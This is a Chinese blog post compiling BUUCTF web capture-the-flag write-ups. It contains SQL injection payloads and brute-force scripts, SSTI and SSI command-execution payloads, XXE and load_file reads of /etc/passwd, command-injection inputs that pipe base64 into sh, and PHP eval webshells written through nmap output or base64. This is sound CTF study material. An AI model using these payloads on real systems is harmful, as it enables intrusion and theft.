这篇文章发表于 575 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

这里汇总一下我做过的BUUCTFweb方向的题解。题目的分类可能有一点奇怪,请谅解。

SQL注入

sqlmap是没有灵魂的。

对于绕过等操作的4篇文章推荐(排名不分先后)。

https://yang1k.github.io/post/sql%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E5%8E%9F%E7%90%86%E6%80%BB%E7%BB%93/

https://blubiu.github.io/2019/04/%E9%AB%98%E7%BA%A7SQL%E6%B3%A8%E5%85%A5-%E6%B7%B7%E6%B7%86%E5%92%8C%E7%BB%95%E8%BF%87/

https://3wapp.github.io/WebSecurity/mysql%E6%B3%A8%E5%85%A5%E8%BF%87%E6%BB%A4.html

https://www.smi1e.top/sql%e6%b3%a8%e5%85%a5%e7%ac%94%e8%ae%b0/

[强网杯 2019]随便注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
GET /?inject=1'||1--+-

GET /?inject=1'and+extractvalue(1,concat(0x7e,user(),0x7e))--+-

GET /?inject=1';show+tables--+-

GET /?inject=1';desc+`1919810931114514`--+-
GET /?inject=1';show+columns+from+`1919810931114514`--+-



#预编译
#strstr可用大小写绕过
GET /?inject=1';Set @sql=concat('sel','ect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;--+-

#字符串转16进制,https://www.sojson.com/hexadecimal.html
#select * from `1919810931114514`
GET /?inject=1';Set @sql=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare stmt from @sql;execute stmt;--+-

#改名
#https://www.cnblogs.com/xhds/p/12269987.html
GET /?inject=1';rename table `words` to `wordsb`;rename table `1919810931114514` to `words;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;--+-

[SUCTF 2019]EasySQL

1
2
3
4
5
6
7
通过回显,猜测存在 ||
后台实际语句 sql="select".post[‘query’]."||flag from Flag";

query=*,1
query=1;set sql_mode=pipes_as_concat;select 1

#其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串

[极客大挑战 2019]HardSQL

1
2
3
4
5
6
7
8
9
10
11
12
GET /check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,user(),0x7e)))%23

GET /check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e)))%23

GET /check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e)))%23

GET /check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e)))%23

GET /check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e)))%23

GET /check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,(select(right(password,24))from(H4rDsq1)),0x7e)))%23
#这里的24不要太大,不然会得到和left一样的效果

[CISCN2019 华北赛区 Day2 Web1]Hack World

利用二分法的SQL注入脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time
url='http://eccfa35f-1958-4e4c-b499-8d8d06502f69.node3.buuoj.cn/index.php'
proxies={'http':'127.0.0.1:8080'}
flag=''
i=1
while True:
begin=32
end=126
tmp=(begin+end)//2
while ((begin!=tmp) and (end!=tmp)):
payload="""(ascii(substr((select(flag)from(flag)),{},1))>{})""".format(i,tmp)
data={'id':payload}
r=requests.post(url=url,data=data,proxies=proxies)
if 'Error' in r.text:
end=tmp
tmp=(begin+tmp)//2
else:
begin=tmp
tmp=(end+tmp)//2
print(begin,' ',tmp,' ',end)
time.sleep(1)
if begin==tmp:
print(i,' ',chr(end))
flag+=chr(end)
else:
print(i,' ',chr(begin))
flag+=chr(begin)
print(flag)
i+=1
print(flag)

###https://www.anquanke.com/post/id/160584#h3-6
###https://www.anquanke.com/post/id/205376
###https://www.cnblogs.com/chrysanthemum/p/11740505.html
###https://www.cnblogs.com/kevinbruce656/p/11342580.html

[网鼎杯 2018]Fakebook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /view.php?no=1+order+by+3--+-

GET /view.php?no=-1+/*!UnION*/+/*!seLEct*/+1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema='fakebook'--+-

GET /view.php?no=-1+/*!UnION*/+/*!seLEct*/+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name='users'--+-

GET /view.php?no=-1+/*!UnION*/+/*!seLEct*/+1,group_concat(passwd,data),3,4+from+users--+-


法一
GET /view.php?no=-1+/*!UnION*/+/*!seLEct*/+1,load_file('/var/www/html/flag.php'),3,4+from+users--+-


法二
获取备份文件user.php.bak

GET /view.php?no=-1+/*!UnION*/+/*!seLEct*/+1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+-
#这部分貌似需要一些推测

法二中构造序列化的PHP脚本如下:

1
2
3
4
5
6
7
8
9
<?php
class UserInfo{
public $name='ad';
public $age=12;
public $blog='';
}
$a=new UserInfo();
$a->blog="file:///var/www/html/flag.php";
echo serialize($a);

[极客大挑战 2019]BabySQL

1
2
3
4
5
6
7
8
9
GET /check.php?username=admin&password=ad'+oorrder+bbyy+3--+-

GET /check.php?username=admin&password=ad'+uniunionon+selselectect+1,2,3--+-

GET /check.php?username=admin&password=ad'+uniunionon+selselectect+1,group_concat(schema_name),3+frfromom+infoorrmation_schema.schemata--+-

GET /check.php?username=admin&password=ad'+uniunionon+selselectect+1,group_concat(table_name),3+frfromom+infoorrmation_schema.tables+whwhereere+table_schema='geek'--+-

GET /check.php?username=admin&password=ad'+uniunionon+selselectect+1,group_concat(column_name),3+frfromom+infoorrmation_schema.columns+whwhereere+table_name='geekuser'--+-

[GXYCTF2019]BabySQli

1
2
3
4
5
6
7
8
9
10
过滤了or,= ,左右括号 等等。
name=admin'+Order+by+3--+-&pw=admin

name=admin'+And+1>2+union+select+1,2,3--+-&pw=admin

name=admin'+And+1>2+union+select+1,'admin',3--+-&pw=admin

name=admin'+And+1>2+union+select+1,'admin','21232f297a57a5a743894a0e4a801fc3'--+-&pw=admin #md5('admin')==='21232f297a57a5a743894a0e4a801fc3'
#这是常见的后台比较,后台存储password经过md5后的结果,与用户传入的password在md5后进行比较
#sqlmap的时间注入有效,然而没法通过解出md5来登录后台

[GYCTF2020]Blacklist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET /?inject=1'order+by+2--+-

GET /?inject=1';show+tables--+-

GET /?inject=1';handler+FlagHere+open;handler+FlagHere+read+first;handler+FlagHere+close;%23

GET /?inject=1';handler+FlagHere+open;handler+FlagHere+read+last;handler+FlagHere+close;%23


https://f4ded.github.io/2020/06/09/handler%E8%AF%AD%E5%8F%A5/
基本使用方法:
  handler [table_name] open; #获取一个table_name的句柄
  handler [table_name] read first; #查看句柄第一行
  handler [table_name] read next; #查看下一行
  handler [table_name] close;
也可以通过索引查看表中信息(FIRST,NEXT,PREV,LAST):
  creat index [index_name] on [table_name](cloumn_name); #其中cloumn_name为要创建索引的列名
  handler [table_name] open;
  handler [table_name] read [index_name] first; #first获取第一行,next获取第二行,prev获取前一行,last获取最后一行
  handler [table_name] close;
  creat index [index_name] on [table_name](cloumn_name);
  handler [table_name] read [index_name] = (2); #从索引值为2的地方查看数据
  handler [table_name] close;

[SWPU2019]Web1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
'group/**/by/**/22,'1

'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

'union/**/select/**/1,database(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

'union/**/select/**/1,version(),schema(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

#遇到该情况 Subquery returns more than 1 row ,考虑concat
'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

#已经知道了表是users,无法继续爆列名,需要无列名注入
'union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/0,2,3/**/union/**/select/**/*/**/from/**/users)asd),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/0,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)asd),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

#另一种比较稳妥但是依赖环境的方法可参见 https://www.4hou.com/posts/lM6r

[极客大挑战 2019]FinalSQL

非常不错的一道题,只是出题者有点无聊。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#这题有两种比较直接的payloads,一种是1^0,另一种是1=(0)=1,以下脚本取前者
import requests
import time
url='http://06315d6e-506c-414f-8f26-52fbe781a74f.node3.buuoj.cn/search.php?id='
proxies={'http':'127.0.0.1:8080'}
flag=''
i=1
while True:
begin=32
end=126
tmp=(begin+end)//2
while ((begin!=tmp) and (end!=tmp)):
#payload="""1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})""".format(i,tmp)
#F1naI1y,Flaaaaag
#payload="""1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{},1))>{})""".format(i,tmp)
#id,username,password F1naI1y
#id,fl4gawsl Flaaaaag
payload="""1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})""".format(i,tmp)
#cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{d5b74497-d782-4421-9fb7-b44c33bf6d2a}!!
r=requests.get(url=url+payload,proxies=proxies)
if 'Not' in r.text:
end=tmp
tmp=(begin+tmp)//2
else:
begin=tmp
tmp=(end+tmp)//2
print(begin,' ',tmp,' ',end)
time.sleep(1)
if begin==tmp:
print(i,' ',chr(end))
flag+=chr(end)
else:
print(i,' ',chr(begin))
flag+=chr(begin)
print(flag)
i+=1
print(flag)

[网鼎杯 2018]Comment

典型的二次注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
//   首先是爆破与git文件泄露
// python GitHacker.py http://8ca8a79e-c267-4ba1-bff1-7386648acec0.node3.buuoj.cn/.git/
// git log --reflog
// git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
// 更多git基础操作可参见 https://www.cnblogs.com/iamstudy/articles/wangding_4th_game_web_writeup.html
// 接下来是源码部分。

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']); //一旦存入数据库,addslashes相当于是失效的
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category']; //category即存在注入点
$content = addslashes($_POST['content']);
$sql = "insert into comment //关键的拼接在于此
set category = '$category', //构造category = '',content=(select...),/*'
content = '$content', //构造content = '*/-- -'
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

// 于是留言的category只要像这样,在详情部分直接输入*/#即可
// ',content=(user()),/*
// ',content=(select load_file("/etc/passwd")),/*
// ',content=(select load_file("/home/www/.bash_history")),/*
// ',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
// 发现了flag_8946e1ff1ee3e40f.php
// ',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

[BJDCTF 2nd]简单注入

1
2
3
4
5
6
7
#后台源码 select * from users where username='$_POST["username"]' and password='$_POST["password"]';
#并且拦截了 = ' " select

#username=123\&password=or/**/2>3#
#于是可以使用之前的脚本,
#payload1="123\\"
#payload2="""or/**/(ascii(substr(password,{},1))>{})#""".format(i,tmp)

SSTI模板注入

类似的原理可参考 https://www.freebuf.com/vuls/83999.htmlhttps://zhuanlan.zhihu.com/p/93746437https://wizardforcel.gitbooks.io/web-hacking-101/content/16.html

两样工具 https://github.com/epinna/tplmaphttp://www.onelinerizer.com/。

[护网杯 2018]easy_tornado

本例是tornado render的模板注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding: utf-8 -*-
'''
render模板注入
error?msg={{2*3}}
'''
from hashlib import md5
filename='/fllllllllllllag'
cookie_secret='d7f6675c-d32e-4cb7-9974-e536e571c876' #error?msg={{handler.settings}}
c=md5(filename.encode('utf-8'))
print(c.hexdigest())
s=cookie_secret+str(c.hexdigest())
c2=md5(s.encode('utf-8'))
print(c2.hexdigest()) #payload

[WesternCTF2018]shrine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)


#{{url_for.__globals__}}
#{{url_for.__globals__['current_app'].config}}
#{{get_flashed_messages.__globals__['current_app'].config}}

#更多SSTI攻击内容参见 https://kit4y.github.io/2019/11/19/flask-dao-ssti/#toc-heading-10

[BJDCTF2020]The mystery of ip

1
2
3
4
5
6
#XFF头除了可能存在SQL注入以外,SSTI注入也可能存在
#这个是PHP-smarty模板存在的漏洞

X-Forwarded-For: {{2*5}}
X-Forwarded-For: {{$smarty.version}}
X-Forwarded-For: {{system('ls')}}

twig模板注入。

1
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

XXE注入

[NCTF2019]Fake XML cookbook

1
2
3
4
5
6
7
8
9
10
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<user><username>John</username><password>&ent;</password></user>
#没弹出来,但是没有报错,说明这个不是注入点

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<user><username>&ent;</username><password>sds</password></user>

#更多payloads参见 https://github.com/payloadbox/xxe-injection-payload-list

命令注入

[GXYCTF2019]Ping Ping Ping

题目作了一些过滤,不能有空格。

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /?ip=127.0.0.1;cat$IFS$1`ls`

GET /?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

GET /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php


#https://www.cnblogs.com/wangtanzhi/p/12246386.html
#https://www.ibm.com/developerworks/cn/linux/l-bash-parameters.html
#https://www.cnblogs.com/-chenxs/p/11495607.html

#echo$IFS$1output
#${IFS}也可代替空格

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//源码如下:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

// https://paper.seebug.org/164/
// GET /?host=' <?php @eval($_POST["a"]);?> -oG shell.php '
// 最后必须有一个空格,不然转义会导致写入的是shell.php\\

[网鼎杯 2020 朱雀组]phpweb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//首先要想到使用highlight_file或是file_get_contents获取源码
<?php
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
//var $p = "echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOw== | base64 -d > /var/www/html/123.php"; 这个因为没有写的权限,所以放弃
var $p= "cat /tmp/flagoefiu4r93";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
?>

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

SSI注入

[BJDCTF2020]EasySearch

先拿到备份的源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}


header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

解法如下:

1
2
3
4
5
6
7
8
9
10
11
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '6d0bc1':
print(i)
print(a)

#发现了password
#古老的SSI注入漏洞
#username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666
#Url_is_here: public/aa7730ebb24bee3772a4a3e94c5c4060a0955766.shtml

PHP字符串解析漏洞

[RoarCTF 2019]Easy Calc

这题要绕过一个waf,但是不知道waf的源码。这里用到了这个漏洞,PHP在解析param时候会先把空格去掉,加个空格即可绕过这个waf。之后只要绕过网站源码的过滤即可。

1
2
3
4
5
? num=1;phpinfo();

? num=1;var_dump(scandir(chr(47)));

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

MD5弱类型

[BJDCTF2020]Easy MD5

参见 https://blog.nowcoder.net/n/95754e3b877e4c758798430951c44f97

1
2
3
4
5
6
Hint: "select * from `admin` where password='".md5($pass,true)."'"

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

后面再利用数组绕过。

[安洵杯 2019]easy_web

算不上弱类型,但是绕过方法比较固定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

//这里的md5有固定的绕过方法
//a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

//这里burp出现了意料之外的错误(后来查明发现用了GET,自然无法读取POST的数据233),于是改用curl
//curl -x socks5://127.0.0.1:1080 http://5fc2f8d7-f0d8-45ce-acf8-2c5d42f44fee.node3.buuoj.cn/?cmd=whoami -d "a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2"

//curl -x socks5://127.0.0.1:1080 http://5fc2f8d7-f0d8-45ce-acf8-2c5d42f44fee.node3.buuoj.cn/?cmd=dir%20/ -d "a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2"

//curl -x socks5://127.0.0.1:1080 http://5fc2f8d7-f0d8-45ce-acf8-2c5d42f44fee.node3.buuoj.cn/?cmd=ca\t%20/fl\ag -d "a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2"

data伪协议

[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
data://text/plain;base64,base编码字符串
仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。这里input没法用因为没开。。。

http://c60b9c3b-36a4-46ea-8664-7dcc29df0796.node3.buuoj.cn/index.php?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

http://c60b9c3b-36a4-46ea-8664-7dcc29df0796.node3.buuoj.cn/index.php?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=/etc/passwd

http://c60b9c3b-36a4-46ea-8664-7dcc29df0796.node3.buuoj.cn/index.php?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=/etc/passwd

http://c60b9c3b-36a4-46ea-8664-7dcc29df0796.node3.buuoj.cn/index.php?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

http://c60b9c3b-36a4-46ea-8664-7dcc29df0796.node3.buuoj.cn/index.php?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后那个序列化结果如下构造即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>


<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a)
?>

flask伪造session

flask的session很像JWT。两者有无区别暂时没去想。

[HCTF 2018]Hideandseek

可参见 https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/#hide-and-seek

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# -*- coding=utf-8 -*-
import random
mac = '02:42:ae:01:df:be' #uuid.getnode()是以上mac转化为十进制的结果,也可使用https://www.vultr.com/resources/mac-converter/
temp = [int(i,16) for i in mac.split(':')]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
getnode = int(temp,2)
random.seed(getnode)
SECRET_KEY = str(random.random()*100)
print(SECRET_KEY)
#flask_session_cookie_manager3.py encode -s '50.21685881806243' -t '{"username":"admin"}'


###第一步
#ln -s /proc/self/environ test
####HOSTNAME=5a6cc4ff9c4bSHLVL=1
####PYTHON_PIP_VERSION=19.1.1
####HOME=/root
####GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/uwsgi.ini
####WERKZEUG_SERVER_FD=3
####NGINX_MAX_UPLOAD=0
####UWSGI_PROCESSES=16
####STATIC_URL=/static_=/usr/local/bin/python
####UWSGI_CHEAPER=2
####WERKZEUG_RUN_MAIN=true
####NGINX_VERSION=1.15.8-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
####NJS_VERSION=1.15.8.0.2.7-1~stretch
####LANG=C.UTF-8
####PYTHON_VERSION=3.6.8
####NGINX_WORKER_PROCESSES=1
####LISTEN_PORT=80
####STATIC_INDEX=0
####PWD=/app
####PYTHONPATH=/app
####STATIC_PATH=/app/static
####FLAG=not_flag

#ln -s /app/uwsgi.ini test
####[uwsgi] module = main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

#ln -s /app/run.sh test
#ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py test
####random.seed(uuid.getnode())
####app = Flask(__name__)
####app.config['SECRET_KEY'] = str(random.random()*100)

#ln -s /sys/class/net/eth0/address test
#02:42:ae:01:df:be



# zip --symlinks test.zip test


###第二步,session欺骗

[HCTF 2018]admin

解发不唯一,参见 https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/#admin

目录穿越

[HCTF 2018]WarmUp

题目部分源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
